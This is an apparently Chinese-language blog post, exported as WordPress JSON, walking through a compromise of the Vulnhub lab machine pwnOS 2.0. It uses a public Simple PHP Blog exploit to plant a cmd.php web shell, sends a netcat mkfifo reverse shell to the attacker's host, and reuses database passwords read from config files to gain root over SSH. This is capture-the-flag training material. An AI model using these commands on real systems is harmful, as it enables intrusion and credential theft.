{"id":369,"date":"2024-02-20T14:03:09","date_gmt":"2024-02-20T06:03:09","guid":{"rendered":"http:\/\/162.14.82.114\/?p=369"},"modified":"2024-02-20T14:03:09","modified_gmt":"2024-02-20T06:03:09","slug":"vulnhub-pwnos2","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/369\/02\/20\/2024\/","title":{"rendered":"Vulnhub–PWNOS2"},"content":{"rendered":"

PWNOS2.0<\/h1>\n

\"image-20240220103740848\"<\/div><\/p>\n

\u6253\u5f00\u865a\u62df\u673a\u538b\u7f29\u5305\uff0c\u67e5\u770b\u4e00\u4e0b\u6587\u4ef6\uff1a<\/p>\n

\"image-20240220104015340\"<\/div><\/p>\n

\u6253\u5f00\u9776\u673a\u770b\u4e00\u4e0b\uff0c\u6309\u7167\u8981\u6c42\u6539\u4e00\u4e0b\uff1a<\/p>\n

\"image-20240220105926050\"<\/div>
\n
\"image-20240220110215913\"<\/div><\/p>\n

\u540e\u6765\u53c8\u6362\u6210\u4e86nat\u6a21\u5f0f\uff1a<\/p>\n

nmap -sn 10.10.10.0\/24<\/code><\/pre>\n
\"image-20240220110747048\"<\/div><\/p>\n
\u627e\u5230\u76ee\u6807\u4e3b\u673a\u4e86\uff0c\u53ef\u4ee5\u5f00\u59cb\u653b\u51fb\u8fa3\uff01<\/p>\n
\u4fe1\u606f\u641c\u96c6<\/h2>\n
\u7aef\u53e3\u626b\u63cf<\/h3>\n
nmap --min-rate 8888 -p- 10.10.10.100\nnmap -p 22,80 -Pn -sV 10.10.10.100<\/code><\/pre>\n
\"image-20240220110959128\"<\/div><\/p>\n
80\u7aef\u53e3\u8bbf\u95ee<\/h3>\n
\"image-20240220111348751\"<\/div><\/p>\n
wappalyzer\u63d2\u4ef6<\/h3>\n
\"image-20240220111412077\"<\/div><\/p>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
gobuster dir -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -u http:\/\/10.10.10.100 -f -t 200<\/code><\/pre>\n
\"image-20240220111609734\"<\/div><\/p>\n
\u6f0f\u6d1e\u5229\u7528<\/h2>\n
sql<\/h3>\n
\u626b\u63cf\u51fa\u76ee\u5f55\u4ee5\u540e\u8bbf\u95ee\u4e00\u4e0b\uff0c\u627e\u5230\/login<\/code><\/p>\n
\"image-20240220112742159\"<\/div><\/p>\n
\u5c1d\u8bd5\u4e07\u80fd\u5bc6\u7801\uff1a<\/p>\n
\"image-20240220112904885\"<\/div><\/p>\n
\u5636\u3002\u3002\u3002\u3002\u3002<\/p>\n
blog exploit<\/h3>\n
\u627e\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e2a\u535a\u5ba2\uff1a<\/p>\n
\"image-20240220113107012\"<\/div><\/p>\n
\u67e5\u770b\u4e00\u4e0b\u6e90\u4ee3\u7801\uff1a<\/p>\n
\"image-20240220115147255\"<\/div><\/p>\n
\u4e5f\u53ef\u4ee5\u4f7f\u7528whatweb<\/code>\uff1a<\/p>\n
\"image-20240220121842037\"<\/div><\/p>\n
\u53d1\u73b0\u4e86blog\u7248\u672c\uff0c\u67e5\u627e\u4e00\u4e0b\u76f8\u5173\u6f0f\u6d1e\uff1a<\/p>\n
\"image-20240220115409707\"<\/div><\/p>\n
\u4e0b\u8f7d\uff0c\u5e76\u5c1d\u8bd5\u8fd0\u884c\u4e00\u4e0b\uff1a<\/p>\n
searchsploit simple php blog 0.4.0 -m 1191.pl<\/code><\/pre>\n
\n
perl 1191.pl\u7684\u65f6\u5019\u9047\u5230\u4e86\u62a5\u9519\uff1a<\/p>\n
Can't locate Switch.pm in @INC (you may need to install the Switch module) (@INC contains: \/etc\/perl \/usr\/local\/lib\/x86_64-linux-gnu\/perl\/5.36.0 \/usr\/local\/share\/perl\/5.36.0 \/usr\/lib\/x86_64-linux-gnu\/perl5\/5.36 \/usr\/share\/perl5 \/usr\/lib\/x86_64-linux-gnu\/perl-base \/usr\/lib\/x86_64-linux-gnu\/perl\/5.36 \/usr\/share\/perl\/5.36 \/usr\/local\/lib\/site_perl) at 1191.pl line 146.
\nBEGIN failed--compilation aborted at 1191.pl line 146.<\/p>\n
Solution: sudo apt-get install libswitch-perl<\/p>\n<\/blockquote>\n
\"image-20240220120124718\"<\/div><\/p>\n
\u5c1d\u8bd5\u5229\u7528\uff1a<\/p>\n
perl 1191.pl -h http:\/\/10.10.10.100\/blog -e 2 <\/code><\/pre>\n
\"image-20240220120227838\"<\/div><\/p>\n
\u83b7\u53d6\u5230\u4e86hash\uff0c\u4f46\u662f\u662f\u4e2a\u88abmd5\u52a0\u5bc6\u8fc7\u7684\u3002\u3002\u3002\u3002<\/p>\n
\u5c1d\u8bd5\u811a\u672c\u7684\u5176\u4ed6\u9009\u9879\uff1a<\/p>\n
-e 1 \u4e0a\u4f20cmd.php<\/h4>\n
perl 1191.pl -h http:\/\/10.10.10.100\/blog -e 1\ncurl "http:\/\/10.10.10.100\/blog\/images\/cmd.php?cmd=ls+-la"<\/code><\/pre>\n
\"image-20240220120932582\"<\/div>
\n
\"image-20240220120943467\"<\/div><\/p>\n
\u7136\u540e\u6211\u4eec\u53ef\u4ee5\u5c1d\u8bd5\u8fde\u63a5\u4e00\u4e0b\uff1a<\/p>\n
curl "http:\/\/10.10.10.100\/blog\/images\/cmd.php?cmd=nc+-h+2>%261"<\/code><\/pre>\n
\"image-20240220121301619\"<\/div><\/p>\n
\u53ef\u4ee5\u770b\u5230\u662fOpenBSD netcat<\/code>\uff0c\u5c1d\u8bd5\u53cd\u5411\u8fde\u63a5\uff1a<\/p>\n
# rm \/tmp\/f;mkfifo \/tmp\/f;\/bin\/sh -i 2>&1 <\/tmp\/f|nc $HOST $PORT >\/tmp\/f\nrm \/tmp\/f;mkfifo \/tmp\/f;\/bin\/sh -i 2>&1 <\/tmp\/f|nc 10.10.10.128 1234 >\/tmp\/f\ncurl "http:\/\/10.10.10.100\/blog\/images\/cmd.php?cmd=rm+\/tmp\/f;mkfifo+\/tmp\/f;bash<\/tmp\/f|nc+10.10.10.128+1234>\/tmp\/f+2>%261"\n# kali\nnc -lvnp 1234<\/code><\/pre>\n
\"image-20240220122608997\"<\/div><\/p>\n
\u83b7\u53d6\u5230\u4e86\uff01<\/p>\n
-e 3 \u521b\u5efa\u7528\u6237<\/h4>\n
perl 1191.pl -h http:\/\/10.10.10.100\/blog -e 3 -U admin -P password<\/code><\/pre>\n
\"image-20240220133443687\"<\/div><\/p>\n
\u767b\u9646\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240220133535620\"<\/div>
\n
\"image-20240220133551833\"<\/div><\/p>\n
\u767b\u5f55\u6210\u529f\u4e86\uff0c\u5c1d\u8bd5\u4e0a\u4f20\u4e00\u4e2a\u6587\u4ef6\uff1a<\/p>\n
\"image-20240220134734699\"<\/div><\/p>\n
\u8bbf\u95ee\u4e00\u4e0b\uff1a<\/p>\n
\"image-20240220134815196\"<\/div><\/p>\n
\u4e0a\u4f20\u6210\u529f\u4e86\uff01\uff01\u76d1\u542c\u518d\u8bbf\u95ee\u5373\u53ef\u83b7\u53d6shell\uff01<\/p>\n
\"image-20240220135204201\"<\/div><\/p>\n
sudo -l<\/code>\u4e0d\u77e5\u9053\u5bc6\u7801\uff0c\u6267\u884c\u4e0d\u4e86\u3002<\/p>\n
\u63d0\u6743<\/h2>\n
cd \/var\/www\nls -l\n# total 36                                                                                   \n# -rw-r--r--  1 root root 1374 Mar 24  2008 activate.php                                     \n# drwxrwxrwx 11 root root 4096 May  9  2011 blog                                             \n# drwxr-xr-x  2 root root 4096 May  7  2011 includes                                         \n# -rw-r--r--  1 root root  629 May  7  2011 index.php                                        \n# -rw-r--r--  1 root root   23 Apr  3  2008 info.php                                         \n# -rw-r--r--  1 root root 3091 May  7  2011 login.php                                         \n# -rw-r--r--  1 root root  516 Apr  2  2008 mysqli_connect.php\n# -rw-r--r--  1 root root 4618 Apr  2  2008 register.php <\/code><\/pre>\n
# cat mysqli_connect.php\n<?php # Script 8.2 - mysqli_connect.php                                                                         \n\n\/\/ This file contains the database access information.\n\/\/ This file also establishes a connection to MySQL\n\/\/ and selects the database.\n\n\/\/ Set the database access information as constants:\n\nDEFINE ('DB_USER', 'root');\nDEFINE ('DB_PASSWORD', 'goodday');\nDEFINE ('DB_HOST', 'localhost');\nDEFINE ('DB_NAME', 'ch16');\n\n\/\/ Make the connection:\n\n$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );\n\n?><\/code><\/pre>\n
\u83b7\u53d6\u5230\u4e86\u6570\u636e\u5e93\u7684\u7528\u6237\u4e0e\u5bc6\u7801\uff01\uff01\uff01\u4f46\u662f\u6211\u4e00\u8fdb\u884cmysql\u76f8\u5173\u547d\u4ee4\u5c31\u4f1a\u5361\u6b7b\uff0c\u4e0d\u77e5\u9053\u4e3a\u5565\uff0c\u53ea\u80fd\u5c1d\u8bd5\u4e00\u4e0bssh\u8fde\u63a5\u4e86\u3002\u3002\u3002\u3002<\/p>\n
ssh root@10.10.10.100\ngoodday<\/code><\/pre>\n
\"image-20240220124730394\"<\/div><\/p>\n
\u5bc6\u7801\u4e0d\u6b63\u786e\uff0c\u518d\u627e\u4e00\u4e0b\u5176\u4ed6\u7684\uff1a<\/p>\n
find \/ -name 'mysqli_connect.php' 2>\/dev\/null\n# \/var\/mysqli_connect.php\n# \/var\/www\/mysqli_connect.php<\/code><\/pre>\n
# cat \/var\/mysqli_connect.php\n<?php # Script 8.2 - mysqli_connect.php\n\n\/\/ This file contains the database access information.\n\/\/ This file also establishes a connection to MySQL\n\/\/ and selects the database.\n\n\/\/ Set the database access information as constants:\n\nDEFINE ('DB_USER', 'root');\nDEFINE ('DB_PASSWORD', 'root@ISIntS');\nDEFINE ('DB_HOST', 'localhost');\nDEFINE ('DB_NAME', 'ch16');\n\n\/\/ Make the connection:\n\n$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );\n\n?><\/code><\/pre>\n
\u53c8\u5f97\u5230\u4e00\u4e2a\u7528\u6237\u540d\uff0c\u5c1d\u8bd5\u767b\u5f55\uff1a<\/p>\n
\"image-20240220124806742\"<\/div><\/p>\n
\u83b7\u53d6\u5230\u4e86root\u6743\u9650\uff01<\/p>\n","protected":false},"excerpt":{"rendered":"
PWNOS2.0 \u6253\u5f00\u865a\u62df\u673a\u538b\u7f29\u5305\uff0c\u67e5\u770b\u4e00\u4e0b\u6587\u4ef6\uff1a \u6253\u5f00\u9776\u673a\u770b\u4e00\u4e0b\uff0c\u6309\u7167\u8981\u6c42\u6539\u4e00\u4e0b\uff1a \u540e\u6765\u53c8\u6362\u6210\u4e86nat\u6a21\u5f0f\uff1a […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,24],"tags":[],"class_list":["post-369","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-penetration-test"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/369","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=369"}],"version-history":[{"count":1,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/369\/revisions"}],"predecessor-version":[{"id":370,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/369\/revisions\/370"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=369"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=369"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=369"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}